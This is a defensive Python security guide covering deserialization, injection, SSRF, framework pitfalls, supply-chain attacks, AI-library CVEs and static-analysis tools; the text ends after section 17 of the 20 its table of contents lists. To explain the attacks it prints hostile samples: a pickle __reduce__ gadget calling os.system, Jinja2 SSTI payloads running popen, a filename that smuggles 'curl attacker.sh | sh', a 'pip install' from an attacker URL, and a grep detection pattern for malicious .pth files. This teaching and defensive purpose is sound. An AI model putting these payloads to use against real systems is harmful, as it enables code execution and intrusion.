Comprehensive Python Security Guide

A practitioner’s defensive reference for securing Python applications — dangerous APIs, deserialization pitfalls, framework-specific risks, supply chain attacks, LLM-era CVEs, static analysis tooling, and hardening patterns. Compiled from 81 research sources.


Table of Contents

  1. Fundamentals
  2. Dangerous Built-in APIs
  3. Insecure Deserialization
  4. Command & Code Injection
  5. SSRF & URL Parsing in Python
  6. Path Traversal, Tarfile, Zipfile
  7. Cryptography & Randomness
  8. Flask Security
  9. Django Security
  10. FastAPI & Other Frameworks
  11. Jinja2 & Server-Side Template Injection
  12. Package Supply Chain Attacks
  13. LLM / AI Framework CVEs
  14. ML Model Deserialization Attacks
  15. Notable Python CVEs (Stdlib)
  16. Static Analysis & SAST
  17. Secure Coding Patterns
  18. Hardening Checklist
  19. Tool Reference
  20. Detection Quick Reference

1. Fundamentals

Python’s dynamism is both its selling point and its largest security footgun. Classes can be instantiated from strings, modules can be imported at runtime, objects can rewrite their own deserialization hooks, and the default serializer is Turing-complete. A defender cannot rely on the language to fail safe — every dangerous capability is a first-class primitive.

The Python attack surface stack:

LayerTypical bugs
Language primitiveseval, exec, compile, __reduce__, __import__, f-string format injection
Stdlibpickle, tarfile, zipfile, subprocess, urllib.parse, xml.etree, plistlib
Third-party libsPyYAML load(), Jinja2 SSTI, requests proxy/SSL flaws, urllib3 CRLF
FrameworksFlask debug PIN, Django PickleSerializer, FastAPI Pydantic misuse, SSTI in Jinja templates
AI/ML stackPyTorch torch.load, Hydra instantiate(), PickleScan bypasses, LangChain/LiteLLM/Langflow RCE
Supply chainPyPI typosquatting, compromised maintainer accounts, .pth startup hooks, poisoned CI/CD

Three classes of Python-specific RCE:

ClassTriggerExample
Eval-classUser input reaches eval/exec/compileLangflow /api/v1/validate/code decorator parsing
Deserialization-classUntrusted bytes reach pickle.loads/yaml.load/torch.load__reduce__ gadget running os.system
Supply-chain-classMalicious code installed via package managerlitellm 1.82.7/1.82.8, chimera-sandbox-extensions, telnyx 4.87.1/4.87.2

Impact spectrum: Information disclosure → File read/write → Credential theft → Remote code execution → Cloud account takeover → Full host/CI/CD compromise.


2. Dangerous Built-in APIs

The following built-ins should be treated as unsafe sinks wherever they meet untrusted data. Bandit, Semgrep, CodeQL, and every commercial SAST ships rules for all of them. They are not bugs in Python — they are features explicitly documented as unsafe — but their one-liner ergonomics make them attractive shortcuts that age into long-lived vulnerabilities.

eval / exec / compile

eval(s) parses and evaluates a Python expression. exec(s) runs a statement or module. compile(s, ...) turns source into a code object that can later be handed to exec. All three will happily execute anything reachable through builtins:

__import__('os').system('id')
(lambda: __import__('subprocess').check_output(['id']))()

Even “restricted” eval patterns (empty globals, {'__builtins__': None}) are routinely bypassed through attribute chains on literal types ((42).__class__.__mro__[-1].__subclasses__()) or comprehension scope tricks.

Mitigations:

  • For arithmetic: use ast.literal_eval (only literals — no calls).
  • For expression languages: use simpleeval or a purpose-built parser.
  • For dispatch: lookup in a dict, never build a string and eval it.
  • For config: JSON, TOML, or safe_load YAML — never exec(config_string).

Real-world example: Langflow CVE-2025-3248 / CVE-2026-33017. Langflow accepted user-submitted Python code through /api/v1/validate/code (and later /api/v1/build_public_tmp/{flow_id}/flow) and passed it through ast.parse(), compile(), and exec(). Because Python evaluates decorators at parse time, an attacker embedded the payload inside a @decorator expression — execution occurred before any function body ran, bypassing validation that looked only at function contents. Added to CISA KEV within days of disclosure.

ast.literal_eval

Safe for JSON-like literals but still susceptible to DoS — it can be pushed into memory/CPU exhaustion with deeply nested or oversized literals. In ml-flextok (Apple/EPFL), ast.literal_eval was used to decode model metadata; the library was later rewritten to use YAML with an allow list.

__import__ / importlib

__import__(attacker_string) or importlib.import_module(attacker_string) loads and executes arbitrary module code as a side effect of import. Any caller doing importlib.import_module(request.args['module']) is trivially RCE.

Format string injection (f-string & str.format)

'{0.__init__.__globals__[os].system}'.format(obj)

str.format exposes arbitrary attribute traversal when format spec comes from user input. Treat user-controlled format strings as code.

pty / os.exec* / os.spawn*

Direct process execution. Always prefer subprocess with argument lists.

input() in Python 2

Worth mentioning only to bury: Python 2’s input() was eval(raw_input()). Every Python 2 codebase still in production is a latent RCE if any input() remained.

pickle, marshal, shelve (covered in §3)

Listed here as built-ins for completeness — all three execute code on load. marshal is undocumented between Python versions and should never be used on external data even if it weren’t unsafe.

Reflection primitives

getattr, setattr, hasattr, vars, globals, locals, __import__ become dangerous when the attribute name comes from untrusted input. Patterns like getattr(module, request.args['method'])() are common in “generic” dispatchers and are the same RCE as eval with extra steps. Use an explicit allow list dict.


3. Insecure Deserialization

The highest-severity class of Python vulnerability. The official pickle docs carry the warning verbatim: “The pickle module is not secure. Only unpickle data you trust.”

Why pickle is dangerous

Pickle is a stack-based VM. Any object can customize its own reconstruction via __reduce__, which returns a (callable, args) tuple that pickle will execute during load. The canonical attacker payload looks like this (analyzed, not augmented):

class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))

pickle.dumps(Exploit()) produces a few dozen bytes that, when unpickled anywhere, run os.system("id"). The Semgrep walkthrough demonstrates the full flow: Flask endpoint → request.datapickle.load(io.BytesIO(raw_data)) → code execution.

Sink inventory

LibraryDangerous callNotes
pickleload, loads, Unpickler.loadCore primitive
_pickle / cPicklesameC implementation, identical behavior
dillload, loadsSerializes more object types than pickle
shelveopen, Shelf[...]Thin wrapper over pickle on disk
jsonpickledecodeUses JSON transport but still reconstructs arbitrary Python objects
PyYAMLyaml.load() (unsafe loader)Fixed to default safe in 5.1+ (CVE-2017-18342)
NumPynumpy.load(..., allow_pickle=True)Default changed to False, but legacy code
PyTorchtorch.load(...) without weights_only=TrueLoads pickled module state
scikit-learnjoblib.load, pickle.loadModel persistence
pandaspandas.read_pickleSame pickle VM
PLY (ply.yacc)yacc(picklefile=...)CVE-2025-56005 — undocumented parameter in PyPI 3.11 silently passes attacker-controlled path to pickle.load

Bypasses against pickle scanners

Scanners like picklescan try to block known-dangerous callables with a blacklist. Three 2025 advisories show the approach is brittle:

  • CVE-2025-1716 — Using pip.main as the __reduce__ callable evades blacklists because pip is a legitimate import. The payload calls pip install git+https://attacker/..., turning the pickle into a silent RCE.
  • CVE-2025-10155 — File extension trick. Renaming a .pkl to .bin or .pt makes PickleScan route the file to PyTorch-specific parsing, then mismatch and skip scanning — but PyTorch still loads it.
  • CVE-2025-10156 — CRC differential. PickleScan uses Python’s zipfile which throws on CRC errors; PyTorch silently accepts them. Zeroing CRCs in a PyTorch archive hides the payload from the scanner.
  • CVE-2025-10157 — Subclass substitution. Instead of importing os.system directly, the payload uses a subclass in asyncio internals that resolves to the same callable, getting “Suspicious” instead of “Dangerous.”

Defense: Allow lists (not block lists), content-type inspection on actual bytes, and prefer safetensors for weights.

Safer alternatives

NeedUse
Data interchangejson (never executes code)
Config filestomllib (3.11+), yaml.safe_load
Model weightssafetensors
Python object round-trip across trusted boundarypickle with HMAC signature you control
Cross-language structuredProtocol Buffers, MessagePack

Defensive pattern — signed pickle envelope

When you genuinely need object round-trip and control both ends:

import hmac, hashlib, pickle
def sign(data: bytes, key: bytes) -> bytes:
    return hmac.new(key, data, hashlib.sha256).digest() + data
def verify_and_load(blob: bytes, key: bytes):
    tag, data = blob[:32], blob[32:]
    if not hmac.compare_digest(tag, hmac.new(key, data, hashlib.sha256).digest()):
        raise ValueError("tampered")
    return pickle.loads(data)  # safe because we verified origin

Even this must never be used with a key shared with attackers, and pickle.loads itself remains a liability if keys leak.


4. Command & Code Injection

subprocess pitfalls

# DANGEROUS — shell=True with interpolation
subprocess.run(f"convert {user_file} out.png", shell=True)

An attacker supplies a.png; curl attacker.sh | sh and both commands run. The safe form is an argument list with no shell:

subprocess.run(["convert", user_file, "out.png"], check=True)

Even with a list, watch for:

  • Filename starts with - — treated as a flag. Pass -- or validate paths to start with ./.
  • shlex.split(user_input) — still interprets quoting; don’t let users choose the argv.
  • subprocess.Popen(..., executable='/bin/sh') — overrides the “no shell” benefit of a list.

os.system, os.popen, commands.*

All invoke a shell. Flag as unconditional Bandit B605/B607 hits.

Command injection via interpreters

Any tool that wraps git, ffmpeg, convert, pandoc, tar, ssh, curl has an injection surface even with argv lists — if the argv itself flows from user input, an attacker can supply --upload-pack, -o ProxyCommand=..., --reference etc. Real MLflow RCEs stemmed from unsanitized input reaching os.system inside a predict function.

venv CLI — CVE-2024-9287

CPython’s venv did not quote path names when writing activate scripts. If a virtualenv was created at an attacker-controlled path, activating it ran arbitrary shell commands. The lesson generalizes: any code generator that emits shell, SQL, or HTML must quote its output — it is not the consumer’s job to sanitize generated code.

shlex pitfalls

shlex.split(user_input) parses POSIX shell syntax including quoting, so an attacker can pass "a b" "c d" to produce two tokens instead of four. Fine when you expect shell-style input; disastrous when you expected filenames.

subprocess environment and cwd

subprocess.run(..., env=None) inherits the caller’s full environment. Leaking AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, etc. into a child that logs or transmits them is a common subtle exfiltration path. Pass an explicit env={...} with just what the child needs, and consider cwd= too — relative paths have burned many teams.

Command injection in template-based tools

Tools like cookiecutter, jinja2-cli, or custom code generators that render shell scripts from user input inherit every injection flaw of the target shell. Treat rendered shell the same as rendered SQL: parameterize or escape, never concatenate.


5. SSRF & URL Parsing in Python

Python shares the cross-language SSRF surface (see the SSRF guide) plus several language-specific bugs.

Sink functions

requests.get/post/...      — follows redirects by default
urllib.request.urlopen     — supports file://, ftp:// by default on older builds
urllib3.PoolManager.request
httpx.get/AsyncClient
aiohttp.ClientSession.get
http.client.HTTPConnection

Python-specific bugs

  • CVE-2024-11168urllib.parse.urlsplit/urlparse accepted bracketed hosts that were not IPv6 or IPvFuture. Parser differential with other URL libraries allowed SSRF when one parser validated and another fetched.
  • CVE-2025-0938 — related square-bracket parsing bug; same differential class.
  • CVE-2023-24329urllib.parse allowed URLs starting with whitespace or control characters to bypass scheme blocklists.
  • CVE-2019-9740 & friends — urllib3 CRLF injection in HTTP headers when the URL or method contained newlines.
  • CVE-2023-32681requests leaked Proxy-Authorization headers across redirects.
  • CVE-2024-35195requests Session silently kept verify=False for a host after a single unverified call.

Defensive hooks

# Block private ranges before making the call
import ipaddress, socket
def is_public(host: str) -> bool:
    for family, _, _, _, sockaddr in socket.getaddrinfo(host, None):
        ip = ipaddress.ip_address(sockaddr[0])
        if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
            return False
    return True

Always pair with a post-resolution check (Python resolves DNS separately from the HTTP call, so DNS rebinding is a real threat). Prefer a dedicated egress proxy that enforces the allow list outside the process.


6. Path Traversal, Tarfile, Zipfile

tarfile — a 15-year saga

CVE-2007-4559tarfile.extractall() did not validate member names, so entries like ../../../etc/passwd wrote outside the target. Unfixed for 15 years; in 2022 a rediscovery showed hundreds of thousands of repos still vulnerable.

Python 3.12 introduced extraction filters (filter="data", filter="tar"), but then came:

  • CVE-2025-4517 (CVSS 9.4) — filter=data still allowed arbitrary filesystem writes outside the target directory.
  • CVE-2025-4138 / CVE-2025-4330 — symlink extraction bypassed the filter.
  • CVE-2024-12718 — filter=data still let attackers modify metadata of files outside the directory.
  • CVE-2025-8194 — negative offset in tar header caused infinite loop DoS.
  • CVE-2024-6232 — ReDoS in tar header parsing.

Safe pattern:

def safe_extract(tar, path: str):
    base = os.path.realpath(path)
    for m in tar.getmembers():
        target = os.path.realpath(os.path.join(base, m.name))
        if not target.startswith(base + os.sep):
            raise RuntimeError(f"path traversal: {m.name}")
        if m.issym() or m.islnk():
            raise RuntimeError(f"link not allowed: {m.name}")
    tar.extractall(path)

zipfile — CVE-2025-8291

zipfile trusted the ZIP64 EOCD locator offset without validation, creating a parser differential with other ZIP implementations (interesting for bypassing scanners that use the “correct” parser). Fixed to validate offset alignment.

plistlib — CVE-2025-13837

OOM DoS: the module read sizes from the file itself without a cap; a hostile plist could demand gigabytes.

xml.etree / lxml

XXE and billion-laughs apply. defusedxml is the drop-in replacement for all stdlib XML parsers — covers xml.etree.ElementTree, xml.dom.minidom, xml.sax, and lxml.etree. Without it, any parser that resolves external entities can be turned into an SSRF + file read primitive.

pickle files masquerading as archives

Attackers frequently ship malicious pickle inside a .zip, .tar, or .nemo wrapper. Extraction libraries may stream the inner pickle to pickle.load() or torch.load() without re-validating. Always inspect the inner bytes against your allow list after decompression, not before.


7. Cryptography & Randomness

WrongRight
random.random() for tokenssecrets.token_urlsafe(32)
hashlib.md5/sha1 for password hashingargon2-cffi, bcrypt, hashlib.scrypt
DIY AES in ECBcryptography.fernet.Fernet
ssl.PROTOCOL_TLSv1ssl.create_default_context()
verify=False on requestsCA bundle + cert pinning
Hand-rolled JWTpyjwt with algorithms=["HS256"] explicit
Constant-time comparison with ==hmac.compare_digest

Django-specific good pattern — encrypting user-supplied API keys at rest with cryptography.Fernet, key from env via django-environ, never committed. Model helper methods wrap encrypt/decrypt so the raw ciphertext never leaks through the ORM.

Why random is dangerous for security

random is a Mersenne Twister with 624-word internal state. Given ~624 consecutive outputs, the full state is recoverable — after that, every future output is predictable. Attackers have used this to forge session tokens, reset codes, and CSRF tokens. The fix is trivial: import secrets; secrets.token_urlsafe(32).

JWT pitfalls

  • Algorithm confusion — if your verifier accepts any algorithm in the token header, an attacker switches to none or re-signs a RS256 token as HS256 using the public key as the HMAC secret.
  • Key rotation — put kid in the header and bind each kid to an allowed algorithm.
  • Expiration — always validate exp; most libraries require you to opt in.
  • Audience/issuer — validate aud and iss, otherwise tokens from one service can be replayed against another.

Password hashing

Do not use hashlib.sha256 with or without salt. Use Argon2id (argon2-cffi) with memory cost tuned to your hardware, or bcrypt with a work factor ≥ 12. Hash length and verification timing must be constant; hmac.compare_digest is the primitive.


8. Flask Security

Debug mode & the Werkzeug PIN

app.run(debug=True) in production is a pre-auth RCE. The Werkzeug debugger’s PIN is derived from predictable machine info (/etc/machine-id, username, uid, mac, path to app.py). With a /proc read or local file read bug, an attacker computes the PIN and gets an interactive shell at /console.

Never ship debug=True. Pin via FLASK_DEBUG=0 and Werkzeug env var checks in production entrypoints.

Common Flask sinks

# SSTI
return render_template_string("Hello " + request.args["name"])
# pickle session
session.interface = PickleSessionInterface()   # don't
# open redirect
return redirect(request.args["next"])
# pickle in endpoint
return pickle.loads(request.data)               # Semgrep will scream
app.config.update(
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SAMESITE="Lax",
    PERMANENT_SESSION_LIFETIME=timedelta(hours=2),
)

Always rotate SECRET_KEY and store in a secret manager — a leaked Flask SECRET_KEY lets attackers mint signed session cookies.


9. Django Security

Django’s built-in defenses are strong when left on. The bugs come from turning them off.

Bugs by disabling defaults

SettingRisk when changed
DEBUG = TrueFull traceback + settings exposure via 500 page
ALLOWED_HOSTS = ["*"]Host header poisoning, password-reset link spoofing
Turning off CsrfViewMiddlewareCSRF on every POST
SECURE_SSL_REDIRECT = FalseDowngrade + cookie theft
X_FRAME_OPTIONS = "ALLOW"Clickjacking
Custom PickleSerializer (deprecated 4.1+)RCE via cookie forgery if SECRET_KEY leaks
password_validators = []Weak-password acceptance

ORM injection

Safe: User.objects.filter(email=user_input). Unsafe: .extra(where=[f"email = '{user_input}'"]) and .raw(f"... {user_input}"). extra() is effectively a footgun; RawSQL at least forces params.

Template auto-escape

{{ var }} is auto-escaped. {{ var|safe }} and mark_safe() switch it off — every use is a code review red flag. {% autoescape off %} blocks disable escaping wholesale.

Secrets & keys

Never commit SECRET_KEY. Store encryption keys in env / secret manager. The photondesigner walkthrough pattern: Fernet.generate_key(), save in .env, gitignore the .env, encrypt user API keys on save, decrypt on use.

PyGoat labs — OWASP Top 10 in Django

A useful hands-on range covering broken access control, insecure deserialization (YAML load on uploaded file), XSS via URL param into anchor, lack of rate limiting on OTP, SSRF via avatar fetch, and OAuth misconfigurations.

Django admin hardening

  • Change the default /admin/ URL prefix.
  • Require MFA for staff accounts (django-otp, django-mfa2).
  • Log admin actions to a tamper-resistant sink.
  • Keep DJANGO_ADMIN_SESSION_COOKIE_AGE short.
  • Never expose admin to the public internet without an auth proxy.
  • Set SILENCED_SYSTEM_CHECKS = [] — don’t silence security warnings.

Signed cookies and SECRET_KEY

Django’s session, CSRF, password-reset, and signed-cookie framework all derive from SECRET_KEY. A leaked key lets an attacker forge any signed artifact, including admin session cookies. Rotate on leak, never bake into Docker images, store in a secret manager.

File upload hardening

  • Validate extensions and content type and magic bytes.
  • Store uploaded files outside the webroot or behind a signed-URL proxy.
  • Never trust Content-Type from the client.
  • For image uploads, re-encode via Pillow to strip EXIF and malformed headers.
  • Apply antivirus scanning (ClamAV) for any publicly accessible upload.

10. FastAPI & Other Frameworks

FastAPI’s Pydantic validation eliminates a large class of type-confusion bugs but does not protect against:

  • Mass assignment when you pass **model.dict() straight into an ORM create.
  • Response model leakage — forgetting response_model= means the raw DB object (including password hashes) is serialized.
  • JWT “none” algorithm — always pin algorithms=[...] on decode.
  • Background tasks running user input through subprocess.
  • WebSocket endpoints without origin check — vulnerable to cross-site WebSocket hijacking.

Pyramid / Tornado / Bottle carry the same injection and deserialization risks. Tornado’s autoreload debug mode is as dangerous as Flask’s debugger.

FastAPI-specific patterns

from fastapi import FastAPI, Depends
from pydantic import BaseModel, ConfigDict

class UserIn(BaseModel):
    model_config = ConfigDict(extra="forbid")  # reject unknown fields
    email: str
    password: str

class UserOut(BaseModel):
    id: int
    email: str    # no password, no hash

app = FastAPI()

@app.post("/users", response_model=UserOut)
async def create(user: UserIn):
    ...

Key points: strict Pydantic models in both directions, response_model to avoid leaking internal fields, dependency injection for auth (Depends(get_current_user)), and never trust model.dict() to be safe for SQL construction.

WebSockets

Origin header is the only cross-site defense for WebSockets. FastAPI / Starlette / aiohttp WebSocket endpoints must validate websocket.headers.get("origin") against an allow list — otherwise cross-site WebSocket hijacking reads authenticated sessions.

GraphQL (Strawberry / Ariadne / Graphene)

  • Disable introspection in production.
  • Enforce query depth and complexity limits (billions-of-fields DoS).
  • Apply per-field authorization, not just per-endpoint.
  • Batch queries are a rate-limit bypass vector — count fields, not requests.

11. Jinja2 & Server-Side Template Injection

Jinja2 SSTI is the Python equivalent of Flask/Django SSTI. The sandbox exists but has a rich history of bypasses via attribute walks:

{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

Rules:

  1. Never render_template_string(user_input) — templates are code.
  2. Never mix user data into the template source; pass it as a context variable.
  3. SandboxedEnvironment raises the bar but cannot be assumed unbreakable.
  4. Disable autoescape=False in HTML contexts.
  5. Don’t expose request, self, or debug helpers into the template context — any walkable attribute graph is an SSTI escape hatch.
  6. For user-writable templates (CMS, email templates), use a strictly limited mini-language like Liquid or Mustache, never Jinja2.

Quick SSTI probe set (defensive — know what the scanner is looking for):

{{7*7}}            -> 49 confirms eval
{{config}}         -> Flask config dump
{{request.__class__.__mro__}}
{{lipsum.__globals__}}
{{cycler.__init__.__globals__.os}}

If any of these render as more than literal text, you have SSTI.


12. Package Supply Chain Attacks

2024-2026 saw Python supply chain attacks shift from opportunistic typosquatting to targeted compromises of high-value packages via CI/CD poisoning.

Attack patterns

PatternExampleMechanism
Typosquattingreqeusts, python-dateutil lookalikesName similar to popular package; runs on pip install via setup.py
Dependency confusionInternal package name registered on public PyPIpip prefers higher version, pulls attacker’s package
Maintainer account takeoverctx, PyTorch-nightly 2022Stolen credentials → malicious release
CI/CD compromiselitellm 1.82.7/1.82.8 (March 2026)Poisoned Trivy GitHub Action → stolen PYPI_PUBLISH token → legitimate package release with embedded payload
Multi-stage downloaderchimera-sandbox-extensionsBenign package pulls second-stage from attacker domain
Audio file stegotelnyx 4.87.1/4.87.2Payload hidden in .wav audio frames, exfil to 83.142.209.203:8080
Scanner poisoningPickleScan CVE-2025-10155/10156/10157Break the defender, not the target
AI hallucination (“slopsquatting”)LLMs suggest nonexistent packages; attackers register themDeveloper trusts LLM output

LiteLLM case study (defensive analysis)

On March 24, 2026, litellm versions 1.82.7 and 1.82.8 were published with embedded credential-harvesting malware. Attack chain (from Snyk’s writeup):

  1. Upstream: Attackers poisoned the trivy-action GitHub Action earlier in March; LiteLLM’s CI pulled Trivy from apt without pinning.
  2. Credential theft: Compromised Trivy exfiltrated PYPI_PUBLISH token from GitHub Actions runner.
  3. Publication: Attackers pushed two malicious versions using legitimate credentials. Hash verification passed because the RECORD file was correctly generated — nothing to mismatch.
  4. Delivery:
    • 1.82.7 embedded base64 payload in litellm/proxy/proxy_server.py — triggered on import.
    • 1.82.8 added litellm_init.pth to site-packages/. .pth files execute at every Python interpreter startup — including during pip install itself. Maps to MITRE ATT&CK T1546.018.
  5. Payload stages: Collected SSH keys, .env, cloud creds (AWS/GCP/Azure), Docker/K8s configs, crypto wallets; AES-256-CBC encrypted; exfil to models.litellm.cloud (registered one day earlier). Installed systemd user service sysmon.service for persistence; attempted Kubernetes lateral movement by deploying privileged pods to every node in kube-system.
  6. Discovery suppression: 88 bot comments from 73 compromised dev accounts buried the GitHub disclosure issue in 102 seconds.

Defensive takeaways:

  • Pin every CI/CD tool version including GitHub Actions (use SHA, not tag).
  • Publish with trusted publishers / OIDC — short-lived tokens, not long-lived PYPI_PUBLISH secrets.
  • Audit .pth files on every install: find site-packages -name '*.pth' -exec grep -l 'subprocess\|base64\|exec' {} \;
  • Use install-time scanning (Snyk, Aikido SafeChain, Phylum) that inspects package behavior, not just hashes.
  • Treat AI developer tools (LangChain, LiteLLM, Gradio, Jupyter extensions) as elevated-access targets — they handle the richest credential sets on a dev machine.

Defensive checklist for package installation

pip install --require-hashes --no-deps -r requirements.txt
  • Mirror approved deps to an internal index (Artifactory, Nexus, devpi, pip-audit allow list).
  • Use lockfiles (uv lock, pip-compile, poetry.lock) with full hashes.
  • Disable source distribution fallback where possible (--only-binary=:all:) to avoid setup.py execution.
  • Run pip-audit or safety in CI.
  • Quarantine new packages (cool-off period, e.g., reject packages < 7 days old).
  • Monitor for packages that suddenly introduce network calls, post-install scripts, or .pth files.

13. LLM / AI Framework CVEs

The LLM framework ecosystem is young, broad, and moves faster than its security review. The following are recurring patterns:

FrameworkCVE / advisoryPattern
LangflowCVE-2025-3248, CVE-2026-33017ast.parsecompileexec on user input; decorator evaluation beats validation
LangChainMultiple (CVE-2023-36258 etc)PALChain/LLMMathChain passing LLM output to exec/eval
LiteLLMSupply chain (see §12)CI/CD compromise, .pth startup hook
SGLangCVE-2025-10164Unsafe deserialization in model weights update endpoint
Langflow-adjacentVariousJinja2 SSTI in prompt templates fed user input
GradioMultiplePath traversal on /file=, SSRF on proxy endpoints
StreamlitIssue #…st.components.v1.html → XSS; arbitrary file read via st.file_uploader gone wrong
JupyterClassicNotebook server token leakage; remote kernel exec
PickleScanCVE-2025-1716, CVE-2025-10155/6/7Scanner bypasses
LangChain PALChainHistoricalPrompt injection → generated Python → exec → RCE

Root cause common to all: treating LLM output as data when it is often parsed as code. The mitigation is architectural: run untrusted-origin code in a sandbox (firejail, gVisor, separate process with seccomp), allow list imports, and never let an agent loop dispatch arbitrary Python.


14. ML Model Deserialization Attacks

Pickle-based formats (.pkl, .joblib, .pt, .pth, .bin, .nemo) execute code when loaded. Even “safe” formats like safetensors only cover weights — the surrounding metadata loaders are often just as dangerous.

Hydra instantiate() — Unit 42 findings

Palo Alto Networks identified RCEs in three AI libraries (NVIDIA NeMo CVE-2025-23304, Salesforce Uni2TS CVE-2026-22584, Apple ml-flextok) all caused by hydra.utils.instantiate() reading _target_ from model metadata and calling it with attacker arguments. Because _target_ takes any callable name, payloads like builtins.exec or os.system work out of the box. A block list added later is trivially bypassed via implicit imports (enum.bltns.eval, nemo.core.classes.common.os.system).

Root cause: dynamic dispatch by string from untrusted metadata. Fix: strict allow list of resolved target classes (NeMo’s safe_instantiate checks class ancestry and module prefix).

torch.load

Default since PyTorch 2.6 is weights_only=True. Pre-2.6 code, and any explicit weights_only=False, loads a pickle stream. add_safe_globals([...]) lets you allow list specific classes; use it.

Safer model formats

FormatExecutes code?
safetensorsNo (weights only)
ONNXNot directly (but custom op loaders can be abused)
GGUFNo for weights; tokenizer/metadata loaders vary
pickle / joblib / cloudpickleYes — always
.nemo, .qnemo (TAR + YAML + pickle)Yes via Hydra and embedded pickle

Defensive pattern for model loading

  1. Pin the model source (Hugging Face repo + revision hash).
  2. Download with huggingface_hub using revision=<commit_sha>.
  3. Verify SHA-256 of the file against a known-good manifest.
  4. Load with the most restrictive mode (weights_only=True).
  5. Run inference in a sandboxed process (seccomp, firejail, container with read-only FS).
  6. Never load models from end-user uploads on a shared host.

15. Notable Python CVEs (Stdlib)

A sampling of recent CPython stdlib CVEs — useful for version-pinning decisions and SAST authoring:

CVEModuleClassFixed
CVE-2025-12084xml.dom.minidomQuadratic complexity DoS on appendChildPending
CVE-2025-13837plistlibOOM DoS via attacker-specified sizesPending
CVE-2025-8291zipfileZIP64 EOCD offset validation3.12+
CVE-2025-8194tarfileInfinite loop via negative offset3.13+
CVE-2025-4517tarfileArbitrary FS write with filter='data' (Critical 9.4)3.13+
CVE-2025-4138tarfileFilter bypass for symlink extraction3.14+
CVE-2025-4330tarfileSecond filter bypass3.14+
CVE-2024-12718tarfileMetadata modification outside dir3.13+
CVE-2024-6232tarfileReDoS in header parsing3.13+
CVE-2024-3220mimetypesWindows writable default paths → startup OOM3.13+
CVE-2024-3219socketRace in socketpair fallback on Windows3.13+
CVE-2024-7592http.cookiesQuadratic complexity in backslash parsing3.13+
CVE-2024-12254asyncioMemory exhaustion in _SelectorSocketTransport.writelines()3.13+
CVE-2025-0938 / CVE-2024-11168urllib.parseInvalid bracketed host parsing — SSRF differential3.13+
CVE-2024-9287venvCommand injection via unquoted activate paths3.13+
CVE-2023-24329urllib.parseLeading-whitespace bypass of scheme filters3.12+

Operational rule: track Python EOL dates. As of 2026, 3.8 and 3.9 are EOL; 3.11 goes EOL October 2027. Running EOL Python in production means unpatched CVEs forever.


16. Static Analysis & SAST

Bandit

PyCQA’s Python-only SAST. Fast, pattern-based, low setup cost. Core checks:

IDIssue
B101assert used (stripped under -O)
B102exec used
B103os.chmod with world-writable
B105/B106/B107Hardcoded password in string/funcarg/default
B108Hardcoded tmp directory
B201Flask debug=True
B301pickle.loads/load
B302marshal.loads
B303/B304MD5 / insecure cipher
B305Insecure cipher mode
B306mktemp_q
B307eval
B308mark_safe in Django
B310urllib.urlopen on user input
B312Telnet usage
B320lxml parser flags
B321FTP TLS
B322Python 2 input
B324Insecure hash for cert
B325os.tempnam
B401-B413Import of insecure module (telnetlib, ftplib, xmlrpclib, pycrypto, paramiko keys, etc.)
B501requests with verify=False
B502-B504SSL/TLS downgrades
B505Weak cryptographic key size
B506YAML load
B507SSH host key policy AutoAdd
B601-B612Shell injection family (paramiko, subprocess, os.system)
B701jinja2.Environment(autoescape=False)
B702mako autoescape off
B703Django mark_safe

Run:

bandit -r ./src -ll -f json -o bandit-report.json

Integrate as pre-commit hook and fail CI on Medium+ severity findings.

Semgrep

Pattern-based with taint tracking. Python ruleset covers:

  • Flask/Django/FastAPI source-to-sink flows.
  • Insecure deserialization from HTTP request to pickle.loads (tracks over a dozen libraries including dill, jsonpickle, shelve, yaml.load, numpy.load, torch.load).
  • SSRF (request → requests.get).
  • SQL injection (request → raw cursor).
  • Hardcoded secrets via entropy rules.
  • SSTI (request → render_template_string).

Custom rules in YAML; the p/python, p/django, p/flask, p/fastapi, p/owasp-top-ten community rulesets give strong baseline coverage.

CodeQL

Full dataflow/taint analysis. Strong for Python custom queries:

  • Model sources (HTTP request attributes across frameworks).
  • Define sinks (pickle.load, yaml.load, eval, subprocess.run with shell).
  • Taint propagation through transformations (base64.b64decode, json.loads, .format).

Used by GitHub Advanced Security. Free for public repos.

Other tools worth knowing

ToolNiche
DlintFlake8 plugin with security checks
SafetyDependency CVE scanner (free tier limited)
pip-auditOfficial PyPA vulnerability scanner
SnykSCA + SAST + malicious package detection
AikidoSAST + secret scan + SCA + SafeChain (new-package cool-off)
Checkmarx / Veracode / FortifyEnterprise SAST with Python support
DeepSource / SonarQubeQuality + security hybrid
detect-secretsGit history secret scanning
gitleaksSame, faster
PhylumSupply chain behavioral analysis

17. Secure Coding Patterns

Input handling

  • Validate at the boundary with Pydantic / attrs / marshmallow.
  • Reject unknown fields (extra="forbid" in Pydantic).
  • Constrain strings (max length, charset regex).
  • Canonicalize paths before use (os.path.realpath, check prefix).

Subprocess

  • Always argv list, never shell=True with interpolation.
  • Use shlex.quote only as a last resort; prefer lists.
  • Explicit check=True, timeout=..., capture_output=True.
  • Drop privileges with preexec_fn=os.setuid when running as root.

File I/O

  • tempfile.mkstemp not mktemp.
  • Open with os.O_NOFOLLOW when following-untrusted-symlinks is a risk.
  • Never concatenate user input into paths — use pathlib.Path with .resolve() and prefix check.

Cryptography

  • secrets module for tokens, keys, password resets.
  • hmac.compare_digest for any secret comparison.
  • cryptography package (not pycryptodome for new code — both fine, but cryptography is the mainstream choice).
  • argon2-cffi or bcrypt for password hashing.

HTTP client

import requests
s = requests.Session()
s.verify = True          # explicit
s.headers.update({"User-Agent": "myapp/1.0"})
r = s.get(url, timeout=(3, 10), allow_redirects=False)  # control redirects yourself

Set timeouts always (default is infinite).

Logging

  • Never log request bodies, auth headers, cookies, or tokens.
  • Use logging.Filter to scrub PII.
  • Log security events (auth failures, authz denials, file access) at a distinct level to separate destinations.

Secrets

  • .env only for local dev; gitignore it.
  • Prod: AWS Secrets Manager, GCP Secret Manager, Vault, SOPS, Doppler.
  • Rotate SECRET_KEY / JWT_SECRET periodically.
  • Assume any secret committed to Git is burned — rotate, don’t just git rm.

Dependency hygiene

  • Pin all direct deps with hashes.
  • Reproducible lockfile in CI.
  • Weekly pip-audit run.
  • Monitor GitHub Security Advisories (or Dependabot, Snyk, Aikido).

